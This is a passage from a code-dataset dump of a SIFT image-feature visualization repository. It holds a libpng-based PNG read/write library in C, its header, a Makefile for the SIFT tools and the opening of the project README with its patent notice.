0.5365386009216309, "avg_line_length": 30.14323616027832, "blob_id": "cc9d5098dd2f7d7f5bd3297c290791075dca5abc", "content_id": "8608080c5cc67c3c83b5546a026277210a248673", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 23482, "license_type": "permissive", "max_line_length": 78, "num_lines": 754, "path": "/backend/demo_SIFT/src/io_png.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\n * Copyright (c) 2010-2011, Nicolas Limare <[email protected]>\n * All rights reserved.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under, at your option, the terms of the GNU General Public\n * License as published by the Free Software Foundation, either\n * version 3 of the License, or (at your option) any later version, or\n * the terms of the simplified BSD license.\n *\n * You should have received a copy of these licenses along this\n * program. If not, see <http://www.gnu.org/licenses/> and\n * <http://www.opensource.org/licenses/bsd-license.html>.\n */\n\n/**\n * @file io_png.c\n * @brief PNG read/write simplified interface\n *\n * This is a front-end to libpng, with routines to:\n * @li read a PNG file as a de-interlaced 8bit integer or float array\n * @li write a 8bit integer or float array to a PNG file\n *\n * Multi-channel images are handled: gray, gray+alpha, rgb and\n * rgb+alpha, as well as on-the-fly color model conversion.\n *\n * @todo handle 16bit data\n * @todo replace rgb/gray with sRGB / Y references\n * @todo implement sRGB gamma and better RGBY conversion\n * @todo process the data as float before quantization\n * @todo output float in [o..1]\n *\n * @author Nicolas Limare <[email protected]>\n */\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n#include <limits.h>\n#include <string.h>\n\n/* option to use a local version of the libpng */\n#ifdef IO_PNG_LOCAL_LIBPNG\n#include \"png.h\"\n#else\n#include <png.h>\n#endif\n\n/* ensure consistency */\n#include \"io_png.h\"\n\n#define PNG_SIG_LEN 4\n\n/* internal only data type identifiers */\n#define IO_PNG_U8 0x0001 /* 8bit unsigned integer */\n#define IO_PNG_F32 0x0002 /* 32bit float */\n\n/*\n * INFO\n */\n\n/* string tag inserted into the binary */\nstatic char _io_png_tag[] = \"using io_png \" IO_PNG_VERSION;\n/**\n * @brief helps tracking versions, via the string tag inserted into\n * the library\n *\n * This function is not expected to be used in real-world programs.\n *\n * @return a pointer to a version info string\n */\nchar *io_png_info(void)\n{\n return _io_png_tag;\n}\n\n/**\n * local error structure\n * see http://www.libpng.org/pub/png/book/chapter14.htmlpointer\n */\ntypedef struct _io_png_err_s {\n jmp_buf jmpbuf;\n} _io_png_err_t;\n\n/**\n * local error handler\n * see http://www.libpng.org/pub/png/book/chapter14.htmlpointer\n */\nstatic void _io_png_err_hdl(png_structp png_ptr, png_const_charp msg)\n{\n _io_png_err_t *err_ptr;\n\n fprintf(stderr, \"libpng error: %s\\n\", msg);\n\n err_ptr = (_io_png_err_t *) png_get_error_ptr(png_ptr);\n if (NULL == png_ptr) {\n fprintf(stderr, \"fatal unrecoverable error, terminating\\n\");\n fflush(stderr);\n abort();\n }\n\n longjmp(err_ptr->jmpbuf, 1);\n}\n\n/*\n * READ\n */\n\n/**\n * @brief internal function used to cleanup the memory when\n * png_read_raw() fails\n *\n * @param fp file pointer to close, ignored if NULL\n * @param png_ptr_p, info_ptr_p, pointers to PNG structure pointers,\n * ignored if NULL\n * @return NULL\n */\nstatic void *_io_png_read_abort(FILE * fp,\n png_structp * png_ptr_p,\n png_infop * info_ptr_p)\n{\n png_destroy_read_struct(png_ptr_p, info_ptr_p, NULL);\n if (NULL != fp && stdin != fp)\n (void) fclose(fp);\n return NULL;\n}\n\n/**\n * @brief internal function used to read a PNG file into an array\n *\n * @todo don't loose 16bit info\n *\n * @param fname PNG file name, \"-\" means stdin\n * @param nxp, nyp, ncp pointers to variables to be filled\n * with the number of columns, lines and channels of the image\n * @param png_transform a PNG_TRANSFORM flag to be added to the\n * default libpng read transforms\n * @param dtype identifier for the data type to be used for output\n * @return pointer to an allocated array of pixels,\n * or NULL if an error happens\n */\nstatic void *io_png_read_raw(const char *fname,\n size_t * nxp, size_t * nyp, size_t * ncp,\n int png_transform, int dtype)\n{\n png_byte png_sig[PNG_SIG_LEN];\n png_structp png_ptr;\n png_infop info_ptr;\n png_bytepp row_pointers;\n png_bytep row_ptr;\n /* volatile: because of setjmp/longjmp */\n FILE *volatile fp = NULL;\n void *data = NULL;\n unsigned char *data_u8 = NULL;\n unsigned char *data_u8_ptr = NULL;\n float *data_f32 = NULL;\n float *data_f32_ptr = NULL;\n size_t size;\n size_t i, j, k;\n /* local error structure */\n _io_png_err_t err;\n\n /* parameters check */\n if (NULL == fname || NULL == nxp || NULL == nyp || NULL == ncp)\n return NULL;\n if (IO_PNG_U8 != dtype && IO_PNG_F32 != dtype)\n return NULL;\n\n /* open the PNG input file */\n if (0 == strcmp(fname, \"-\"))\n fp = stdin;\n else if (NULL == (fp = fopen(fname, \"rb\")))\n return NULL;\n\n /* read in some of the signature bytes and check this signature */\n if ((PNG_SIG_LEN != fread(png_sig, 1, PNG_SIG_LEN, fp))\n || 0 != png_sig_cmp(png_sig, (png_size_t) 0, PNG_SIG_LEN))\n return _io_png_read_abort(fp, NULL, NULL);\n\n /*\n * create and initialize the png_struct\n * with local error handling\n */\n if (NULL == (png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING,\n &err, &_io_png_err_hdl,\n NULL)))\n return _io_png_read_abort(fp, NULL, NULL);\n\n /* allocate/initialize the memory for image information */\n if (NULL == (info_ptr = png_create_info_struct(png_ptr)))\n return _io_png_read_abort(fp, &png_ptr, NULL);\n\n /* handle read errors */\n if (setjmp(err.jmpbuf))\n /* if we get here, we had a problem reading from the file */\n return _io_png_read_abort(fp, &png_ptr, NULL);\n\n /* set up the input control using standard C streams */\n png_init_io(png_ptr, fp);\n\n /* let libpng know that some bytes have been read */\n png_set_sig_bytes(png_ptr, PNG_SIG_LEN);\n\n /*\n * set the read filter transforms, to get 8bit RGB whatever the\n * original file may contain:\n * PNG_TRANSFORM_STRIP_16 strip 16-bit samples to 8 bits\n * PNG_TRANSFORM_PACKING expand 1, 2 and 4-bit\n * samples to bytes\n */\n png_transform |= (PNG_TRANSFORM_STRIP_16 | PNG_TRANSFORM_PACKING);\n\n /* convert palette to RGB */\n png_set_palette_to_rgb(png_ptr);\n\n /* read in the entire image at once */\n png_read_png(png_ptr, info_ptr, png_transform, NULL);\n\n /* get image informations */\n *nxp = (size_t) png_get_image_width(png_ptr, info_ptr);\n *nyp = (size_t) png_get_image_height(png_ptr, info_ptr);\n *ncp = (size_t) png_get_channels(png_ptr, info_ptr);\n row_pointers = png_get_rows(png_ptr, info_ptr);\n\n /*\n * allocate the output data RGB array\n * de-interlace and convert png RGB RGB RGB 8bit to RRR GGG BBB\n * the image is de-interlaced layer after layer\n * this generic loop also works for one single channel\n */\n size = *nxp * *nyp * *ncp;\n switch (dtype) {\n case IO_PNG_U8:\n if (NULL == (data_u8 =\n (unsigned char *) malloc(size * sizeof(unsigned char))))\n return _io_png_read_abort(fp, &png_ptr, &info_ptr);\n data = (void *) data_u8;\n for (k = 0; k < *ncp; k++) {\n /* channel loop */\n data_u8_ptr = data_u8 + (size_t) (*nxp * *nyp * k);\n for (j = 0; j < *nyp; j++) {\n /* row loop */\n row_ptr = row_pointers[j] + k;\n for (i = 0; i < *nxp; i++) {\n /* pixel loop */\n *data_u8_ptr++ = (unsigned char) *row_ptr;\n row_ptr += *ncp;\n }\n }\n }\n break;\n case IO_PNG_F32:\n if (NULL == (data_f32 = (float *) malloc(size * sizeof(float))))\n return _io_png_read_abort(fp, &png_ptr, &info_ptr);\n data = (void *) data_f32;\n for (k = 0; k < *ncp; k++) {\n /* channel loop */\n data_f32_ptr = data_f32 + (size_t) (*nxp * *nyp * k);\n for (j = 0; j < *nyp; j++) {\n /* row loop */\n row_ptr = row_pointers[j] + k;\n for (i = 0; i < *nxp; i++) {\n /* pixel loop */\n *data_f32_ptr++ = (float) *row_ptr;\n row_ptr += *ncp;\n }\n }\n }\n break;\n }\n\n /* clean up and free any memory allocated, close the file */\n (void) _io_png_read_abort(fp, &png_ptr, &info_ptr);\n\n return data;\n}\n\n/**\n * @brief read a PNG file into a 8bit integer array\n *\n * The array contains the de-interlaced channels.\n * 1, 2 and 4bit images are converted to 8bit.\n * 16bit images are previously downscaled to 8bit.\n *\n * @todo don't downscale 16bit images.\n *\n * @param fname PNG file name\n * @param nxp, nyp, ncp pointers to variables to be filled with the number of\n * columns, lines and channels of the image\n * @return pointer to an allocated unsigned char array of pixels,\n * or NULL if an error happens\n */\nunsigned char *io_png_read_u8(const char *fname,\n size_t * nxp, size_t * nyp, size_t * ncp)\n{\n /* read the image as unsigned char */\n return (unsigned char *) io_png_read_raw(fname, nxp, nyp, ncp,\n PNG_TRANSFORM_IDENTITY,\n IO_PNG_U8);\n}\n\n/**\n * @brief read a PNG file into a 8bit integer array, converted to RGB\n *\n * See io_png_read_u8() for details.\n */\nunsigned char *io_png_read_u8_rgb(const char *fname, size_t * nxp,\n size_t * nyp)\n{\n size_t nc;\n unsigned char *img;\n\n /* read the image */\n img = (unsigned char *) io_png_read_raw(fname, nxp, nyp, &nc,\n PNG_TRANSFORM_STRIP_ALPHA,\n IO_PNG_U8);\n if (NULL == img)\n /* error */\n return NULL;\n if (3 == nc)\n /* already RGB */\n return img;\n else {\n /* convert to RGB */\n size_t i, size;\n unsigned char *img_r, *img_g, *img_b;\n\n /* resize the image */\n size = *nxp * *nyp;\n img = (unsigned char *)\n realloc(img, 3 * size * sizeof(unsigned char));\n img_r = img;\n img_g = img + size;\n img_b = img + 2 * size;\n\n /* gray->RGB conversion */\n for (i = 0; i < size; i++) {\n img_g[i] = img_r[i];\n img_b[i] = img_r[i];\n }\n return img;\n }\n}\n\n/**\n * @brief read a PNG file into a 8bit integer array, converted to gray\n *\n * See io_png_read_u8() for details.\n */\nunsigned char *io_png_read_u8_gray(const char *fname,\n size_t * nxp, size_t * nyp)\n{\n size_t nc;\n unsigned char *img;\n\n /* read the image */\n img = (unsigned char *) io_png_read_raw(fname, nxp, nyp, &nc,\n PNG_TRANSFORM_STRIP_ALPHA,\n IO_PNG_U8);\n if (NULL == img)\n /* error */\n return NULL;\n if (1 == nc)\n /* already gray */\n return img;\n else {\n /* convert to gray */\n size_t i, size;\n unsigned char *img_r, *img_g, *img_b;\n\n /*\n * RGB->gray conversion\n * Y = (6968 * R + 23434 * G + 2366 * B) / 32768\n * integer approximation of\n * Y = Cr* R + Cg * G + Cb * B\n * with\n * Cr = 0.212639005871510\n * Cg = 0.715168678767756\n * Cb = 0.072192315360734\n * derived from ITU BT.709-5 (Rec 709) sRGB and D65 definitions\n * http://www.itu.int/rec/R-REC-BT.709/en\n */\n size = *nxp * *nyp;\n img_r = img;\n img_g = img + size;\n img_b = img + 2 * size;\n for (i = 0; i < size; i++)\n /*\n * if int type is less than 24 bits, we use long ints,\n * guaranteed to be >=32 bit\n */\n#if (UINT_MAX>>24 == 0)\n#define CR 6968ul\n#define CG 23434ul\n#define CB 2366ul\n#else\n#define CR 6968u\n#define CG 23434u\n#define CB 2366u\n#endif\n /* (1 << 14) is added for rounding instead of truncation */\n img[i] = (unsigned char) ((CR * img_r[i] + CG * img_g[i]\n + CB * img_b[i] + (1 << 14)) >> 15);\n#undef CR\n#undef CG\n#undef CB\n /* resize and return the image */\n img = (unsigned char *) realloc(img, size * sizeof(unsigned char));\n return img;\n }\n}\n\n/**\n * @brief read a PNG file into a 32bit float array\n *\n * The array contains the deinterlaced channels.\n * 1, 2, 4 and 8bit images are converted to float values\n * between 0. and 1., 3., 15. or 255.\n * 16bit images are also downscaled to 8bit before conversion.\n *\n * @param fname PNG file name\n * @param nxp, nyp, ncp pointers to variables to be filled with the number of\n * columns, lines and channels of the image\n * @return pointer to an allocated unsigned char array of pixels,\n * or NULL if an error happens\n */\nfloat *io_png_read_f32(const char *fname,\n size_t * nxp, size_t * nyp, size_t * ncp)\n{\n /* read the image as float */\n return (float *) io_png_read_raw(fname, nxp, nyp, ncp,\n PNG_TRANSFORM_IDENTITY, IO_PNG_F32);\n}\n\n/**\n * @brief read a PNG file into a 32bit float array, converted to RGB\n *\n * See io_png_read_f32() for details.\n */\nfloat *io_png_read_f32_rgb(const char *fname, size_t * nxp, size_t * nyp)\n{\n size_t nc;\n float *img;\n\n /* read the image */\n img = (float *) io_png_read_raw(fname, nxp, nyp, &nc,\n PNG_TRANSFORM_STRIP_ALPHA, IO_PNG_F32);\n if (NULL == img)\n /* error */\n return NULL;\n if (3 == nc)\n /* already RGB */\n return img;\n else {\n /* convert to RGB */\n size_t i, size;\n float *img_r, *img_g, *img_b;\n\n /* resize the image */\n size = *nxp * *nyp;\n img = (float *) realloc(img, 3 * size * sizeof(float));\n img_r = img;\n img_g = img + size;\n img_b = img + 2 * size;\n\n /* gray->RGB conversion */\n for (i = 0; i < size; i++) {\n img_g[i] = img_r[i];\n img_b[i] = img_r[i];\n }\n return img;\n }\n}\n\n/**\n * @brief read a PNG file into a 32bit float array, converted to gray\n *\n * See io_png_read_f32() for details.\n */\nfloat *io_png_read_f32_gray(const char *fname, size_t * nxp, size_t * nyp)\n{\n size_t nc;\n float *img;\n\n /* read the image */\n img = (float *) io_png_read_raw(fname, nxp, nyp, &nc,\n PNG_TRANSFORM_STRIP_ALPHA, IO_PNG_F32);\n if (NULL == img)\n /* error */\n return NULL;\n if (1 == nc)\n /* already gray */\n return img;\n else {\n /* convert to gray */\n size_t i, size;\n float *img_r, *img_g, *img_b;\n\n /*\n * RGB->gray conversion\n * Y = Cr* R + Cg * G + Cb * B\n * with\n * Cr = 0.212639005871510\n * Cg = 0.715168678767756\n * Cb = 0.072192315360734\n * derived from ITU BT.709-5 (Rec 709) sRGB and D65 definitions\n * http://www.itu.int/rec/R-REC-BT.709/en\n */\n size = *nxp * *nyp;\n img_r = img;\n img_g = img + size;\n img_b = img + 2 * size;\n for (i = 0; i < size; i++)\n img[i] = (float) (0.212639005871510 * img_r[i]\n + 0.715168678767756 * img_g[i]\n + 0.072192315360734 * img_b[i]);\n /* resize and return the image */\n img = (float *) realloc(img, size * sizeof(float));\n return img;\n }\n}\n\n/*\n * WRITE\n */\n\n/**\n * @brief internal function used to cleanup the memory when\n * png_write_raw() fails\n *\n * @param fp file pointer to close, ignored if NULL\n * @param idata, row_pointers arrays to free, ignored if NULL\n * @param png_ptr_p, info_ptr_p, pointers to PNG structure pointers,\n * ignored if NULL\n * @return -1\n */\nstatic int _io_png_write_abort(FILE * fp,\n png_byte * idata, png_bytep * row_pointers,\n png_structp * png_ptr_p,\n png_infop * info_ptr_p)\n{\n png_destroy_write_struct(png_ptr_p, info_ptr_p);\n if (NULL != row_pointers)\n free(row_pointers);\n if (NULL != idata)\n free(idata);\n if (NULL != fp && stdout != fp)\n (void) fclose(fp);\n return -1;\n}\n\n/**\n * @brief internal function used to write a byte array as a PNG file\n *\n * The PNG file is written as a 8bit image file, interlaced,\n * truecolor. Depending on the number of channels, the color model is\n * gray, gray+alpha, rgb, rgb+alpha.\n *\n * @todo handle 16bit\n *\n * @param fname PNG file name, \"-\" means stdout\n * @param data deinterlaced (RRR..GGG..BBB..AAA) image byte array\n * @param nx, ny, nc number of columns, lines and channels\n * @param dtype identifier for the data type to be used for output\n * @return 0 if everything OK, -1 if an error occured\n */\nstatic int io_png_write_raw(const char *fname, const void *data,\n size_t nx, size_t ny, size_t nc, int dtype)\n{\n png_structp png_ptr;\n png_infop info_ptr;\n png_byte *idata = NULL, *idata_ptr = NULL;\n png_bytep *row_pointers = NULL;\n png_byte bit_depth;\n /* volatile: because of setjmp/longjmp */\n FILE *volatile fp;\n const unsigned char *data_u8 = NULL;\n const unsigned char *data_u8_ptr = NULL;\n const float *data_f32 = NULL;\n const float *data_f32_ptr = NULL;\n float tmp;\n int color_type, interlace, compression, filter;\n size_t size;\n size_t i, j, k;\n /* error structure */\n _io_png_err_t err;\n\n /* parameters check */\n if (0 >= nx || 0 >= ny || 0 >= nc)\n return -1;\n if (NULL == fname || NULL == data)\n return -1;\n if (IO_PNG_U8 != dtype && IO_PNG_F32 != dtype)\n return -1;\n\n /* open the PNG output file */\n if (0 == strcmp(fname, \"-\"))\n fp = stdout;\n else if (NULL == (fp = fopen(fname, \"wb\")))\n return -1;\n\n /* allocate the interlaced array and row pointers */\n size = nx * ny * nc;\n if (NULL == (idata = (png_byte *) malloc(size * sizeof(png_byte))))\n return _io_png_write_abort(fp, NULL, NULL, NULL, NULL);\n\n if (NULL == (row_pointers = (png_bytep *) malloc(ny * sizeof(png_bytep))))\n return _io_png_write_abort(fp, idata, NULL, NULL, NULL);\n\n /*\n * create and initialize the png_struct\n * with local error handling\n */\n if (NULL == (png_ptr = png_create_write_struct(PNG_LIBPNG_VER_STRING,\n &err, &_io_png_err_hdl,\n NULL)))\n return _io_png_write_abort(fp, idata, row_pointers, NULL, NULL);\n\n /* allocate/initialize the memory for image information */\n if (NULL == (info_ptr = png_create_info_struct(png_ptr)))\n return _io_png_write_abort(fp, idata, row_pointers, &png_ptr, NULL);\n\n /* handle write errors */\n if (0 != setjmp(err.jmpbuf))\n /* if we get here, we had a problem writing to the file */\n return _io_png_write_abort(fp, idata, row_pointers, &png_ptr,\n &info_ptr);\n\n /* set up the input control using standard C streams */\n png_init_io(png_ptr, fp);\n\n /* set image informations */\n bit_depth = 8;\n switch (nc) {\n case 1:\n color_type = PNG_COLOR_TYPE_GRAY;\n break;\n case 2:\n color_type = PNG_COLOR_TYPE_GRAY_ALPHA;\n break;\n case 3:\n color_type = PNG_COLOR_TYPE_RGB;\n break;\n case 4:\n color_type = PNG_COLOR_TYPE_RGB_ALPHA;\n break;\n default:\n png_destroy_read_struct(&png_ptr, NULL, NULL);\n free(row_pointers);\n free(idata);\n (void) fclose(fp);\n return -1;\n }\n interlace = PNG_INTERLACE_ADAM7;\n compression = PNG_COMPRESSION_TYPE_BASE;\n filter = PNG_FILTER_TYPE_BASE;\n\n /* set image header */\n png_set_IHDR(png_ptr, info_ptr, (png_uint_32) nx, (png_uint_32) ny,\n bit_depth, color_type, interlace, compression, filter);\n /* TODO : significant bit (sBIT), gamma (gAMA), comments (text) chunks */\n png_write_info(png_ptr, info_ptr);\n\n /*\n * interlace and convert RRR GGG BBB to RGB RGB RGB\n * the image is interlaced layer after layer\n * this involves more memory exchange, but allows a generic loop\n */\n switch (dtype) {\n case IO_PNG_U8:\n data_u8 = (unsigned char *) data;\n for (k = 0; k < nc; k++) {\n /* channel loop */\n data_u8_ptr = data_u8 + (size_t) (nx * ny * k);\n idata_ptr = idata + (size_t) k;\n for (j = 0; j < ny; j++) {\n /* row loop */\n for (i = 0; i < nx; i++) {\n /* pixel loop */\n *idata_ptr = (png_byte) * data_u8_ptr++;\n idata_ptr += nc;\n }\n }\n }\n break;\n case IO_PNG_F32:\n data_f32 = (float *) data;\n for (k = 0; k < nc; k++) {\n /* channel loop */\n data_f32_ptr = data_f32 + (size_t) (nx * ny * k);\n idata_ptr = idata + (size_t) k;\n for (j = 0; j < ny; j++) {\n /* row loop */\n for (i = 0; i < nx; i++) {\n /* pixel loop */\n tmp = floor(*data_f32_ptr++ + .5);\n *idata_ptr = (png_byte) (tmp < 0. ? 0. :\n (tmp > 255. ? 255. : tmp));\n idata_ptr += nc;\n }\n }\n }\n break;\n }\n\n /* set row pointers */\n for (j = 0; j < ny; j++)\n row_pointers[j] = idata + (size_t) (nc * nx * j);\n\n /* write out the entire image and end it */\n png_write_image(png_ptr, row_pointers);\n png_write_end(png_ptr, info_ptr);\n\n /* clean up and free any memory allocated, close the file */\n (void) _io_png_write_abort(fp, idata, row_pointers, &png_ptr, &info_ptr);\n\n return 0;\n}\n\n/**\n * @brief write a 8bit unsigned integer array into a PNG file\n *\n * @param fname PNG file name\n * @param data array to write\n * @param nx, ny, nc number of columns, lines and channels of the image\n * @return 0 if everything OK, -1 if an error occured\n */\nint io_png_write_u8(const char *fname, const unsigned char *data,\n size_t nx, size_t ny, size_t nc)\n{\n return io_png_write_raw(fname, (void *) data,\n (png_uint_32) nx, (png_uint_32) ny, (png_byte) nc,\n IO_PNG_U8);\n}\n\n/**\n * @brief write a float array into a PNG file\n *\n * The float values are rounded to 8bit integers, and bounded to [0, 255].\n *\n * @todo handle 16bit images and flexible min/max\n *\n * @param fname PNG file name\n * @param data array to write\n * @param nx, ny, nc number of columns, lines and channels of the image\n * @return 0 if everything OK, -1 if an error occured\n */\nint io_png_write_f32(const char *fname, const float *data,\n size_t nx, size_t ny, size_t nc)\n{\n return io_png_write_raw(fname, (void *) data,\n (png_uint_32) nx, (png_uint_32) ny, (png_byte) nc,\n IO_PNG_F32);\n}\n" }, { "alpha_fraction": 0.5363312363624573, "alphanum_fraction": 0.5398958325386047, "avg_line_length": 29.647058486938477, "blob_id": "78c2c756f326f4fd91874c0d8de6bd1ed9d0bf4c", "content_id": "77b11648ea9861c081155343802728aadfc13710", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 3647, "license_type": "permissive", "max_line_length": 268, "num_lines": 119, "path": "/backend/demo_SIFT/Makefile", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "# Copyright 2014 Ives Rey-Otero <[email protected]>\n\n# compilers configuration\nCC = gcc\nOFLAGS = -g -O3\nLIBS = -L/usr/local/lib -lpng -lm\n\nCFLAGS = -Wall -Wno-write-strings -pedantic -std=c99 -D_POSIX_C_SOURCE=200809L\n\n# Source files with executables.\nSRC_ALGO = sift_cli\n\nSRC_MATCH = match_cli\n\n# TEMP normalized_patch\nSRC_DEMO = demo_extract_patch\n\nSRCa = lib_sift.c \\\n\t lib_sift_anatomy.c \\\n\t lib_scalespace.c \\\n\t lib_description.c \\\n lib_discrete.c \\\n\t lib_keypoint.c \\\n\t lib_util.c\n\nSRCb = lib_io_scalespace.c\n\nSRCc = lib_matching.c\n\nSRCDIR = src\nOBJDIR = src\nBINDIR = bin\n\nOBJa = $(addprefix $(OBJDIR)/,$(SRCa:.c=.o))\nOBJb = $(addprefix $(OBJDIR)/,$(SRCb:.c=.o))\nOBJc = $(addprefix $(OBJDIR)/,$(SRCc:.c=.o))\n\nOBJ = $(OBJa) $(OBJb) $(OBJc)\n\nBIN = $(addprefix $(BINDIR)/,$(SRC_ALGO))\nBINMATCH = $(addprefix $(BINDIR)/,$(SRC_MATCH))\nBINDEMO = $(addprefix $(BINDIR)/,$(SRC_DEMO))\n\nsift= $(BIN)\nmatch= $(BINMATCH)\ndemo= $(BINDEMO)\ndefault: $(OBJDIR) $(BINDIR) $(sift) $(match) $(demo)\n\n#---------------------------------------------------------------\n# SIFT CLI\n#\n\n$(BIN) : $(BINDIR)/% : $(SRCDIR)/%.c $(OBJDIR)/lib_sift_anatomy.o $(OBJDIR)/lib_keypoint.o $(OBJDIR)/lib_scalespace.o $(OBJDIR)/lib_description.o $(OBJDIR)/lib_discrete.o $(OBJDIR)/lib_io_scalespace.o $(OBJDIR)/lib_util.o $(OBJDIR)/io_png.o $(OBJDIR)/lib_sift.o\n\t$(CC) $(CFLAGS) -o $@ $^ $(LIBS)\n\n$(OBJDIR):\n\t -mkdir -p $(OBJDIR)\n\n$(BINDIR):\n\t -mkdir -p $(BINDIR)\n\n#---------------------------------------------------------------\n# LIB_SIFT\n#\n$(OBJDIR)/lib_sift.o : $(SRCDIR)/lib_sift.c $(OBJDIR)/lib_sift_anatomy.o $(OBJDIR)/lib_keypoint.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(OBJDIR)/lib_scalespace.o : $(SRCDIR)/lib_scalespace.c $(OBJDIR)/lib_discrete.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(OBJDIR)/lib_discrete.o : $(SRCDIR)/lib_discrete.c $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(OBJDIR)/lib_description.o : $(SRCDIR)/lib_description.c $(OBJDIR)/lib_discrete.o $(OBJDIR)/lib_keypoint.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(OBJDIR)/lib_keypoint.o : $(SRCDIR)/lib_keypoint.c $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(OBJDIR)/lib_sift_anatomy.o : $(SRCDIR)/lib_sift_anatomy.c $(OBJDIR)/lib_keypoint.o $(OBJDIR)/lib_discrete.o $(OBJDIR)/lib_scalespace.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(OBJDIR)/lib_util.o : $(SRCDIR)/lib_util.c\n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n#--------------------------------------------------------------\n# IN (image) and OUT (scalespace)\n#\n$(OBJDIR)/io_png.o : $(SRCDIR)/io_png.c\n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(OBJDIR)/lib_io_scalespace.o : $(SRCDIR)/lib_io_scalespace.c $(OBJDIR)/io_png.o $(OBJDIR)/lib_scalespace.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n\n#-------------------------------------------------------------\n# Matching algorithm\n#\n$(OBJDIR)/lib_matching.o : $(SRCDIR)/lib_matching.c $(OBJDIR)/lib_keypoint.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) $(OFLAGS) -c -o $@ $<\n\n$(BINMATCH) : $(SRCDIR)/match_cli.c $(OBJDIR)/lib_keypoint.o $(OBJDIR)/lib_matching.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) -o $@ $^ $(LIBS) -lm\n\n#-------------------------------------------------------------\n# Tools used in the demo \n#\n$(BINDEMO) : $(BINDIR)/% :\t $(SRCDIR)/demo_extract_patch.c $(OBJDIR)/lib_discrete.o $(OBJDIR)/io_png.o $(OBJDIR)/lib_util.o \n\t$(CC) $(CFLAGS) -o $@ $^ $(LIBS)\n\n\n#-------------------------------------------------------------------------------------\n# clean\n#\ncleanobj:\n\t-rm -f $(OBJ)\n\nclean: cleanobj\n\t-rm -f $(BIN)\n" }, { "alpha_fraction": 0.653718113899231, "alphanum_fraction": 0.677025556564331, "avg_line_length": 32.37036895751953, "blob_id": "b1bf6b0ce2db12ee8394d50db2d862bc845440c8", "content_id": "e0f8da8789235113ca7fb7b05a404af3eccc892d", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 901, "license_type": "permissive", "max_line_length": 99, "num_lines": 27, "path": "/backend/demo_SIFT/src/io_png.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#ifndef _IO_PNG_H\n#define _IO_PNG_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define IO_PNG_VERSION \"0.20110825\"\n\n#include <stddef.h>\n\n/* io_png.c */\nchar *io_png_info(void);\nunsigned char *io_png_read_u8(const char *fname, size_t *nxp, size_t *nyp, size_t *ncp);\nunsigned char *io_png_read_u8_rgb(const char *fname, size_t *nxp, size_t *nyp);\nunsigned char *io_png_read_u8_gray(const char *fname, size_t *nxp, size_t *nyp);\nfloat *io_png_read_f32(const char *fname, size_t *nxp, size_t *nyp, size_t *ncp);\nfloat *io_png_read_f32_rgb(const char *fname, size_t *nxp, size_t *nyp);\nfloat *io_png_read_f32_gray(const char *fname, size_t *nxp, size_t *nyp);\nint io_png_write_u8(const char *fname, const unsigned char *data, size_t nx, size_t ny, size_t nc);\nint io_png_write_f32(const char *fname, const float *data, size_t nx, size_t ny, size_t nc);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* !_IO_PNG_H */\n" }, { "alpha_fraction": 0.540721595287323, "alphanum_fraction": 0.557633638381958, "avg_line_length": 35.50847625732422, "blob_id": "1df52d087ecdc6e646453582da8af00dcc7fc080", "content_id": "520a65fe7d91f28cdb25d09f2ac5af7c2d375dce", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 15084, "license_type": "permissive", "max_line_length": 80, "num_lines": 413, "path": "/backend/demo_SIFT/README.txt", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "IPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS-Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\n\n===============================================================================\n== Overview ===================================================================\n\nThis C ANSI source code is related to the article\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn online demo facility can be found at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n===============================================================================\n== Patent Warning and License =================================================\n\nThe SIFT method is patented\n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\n\nThis program is free software: you can use, 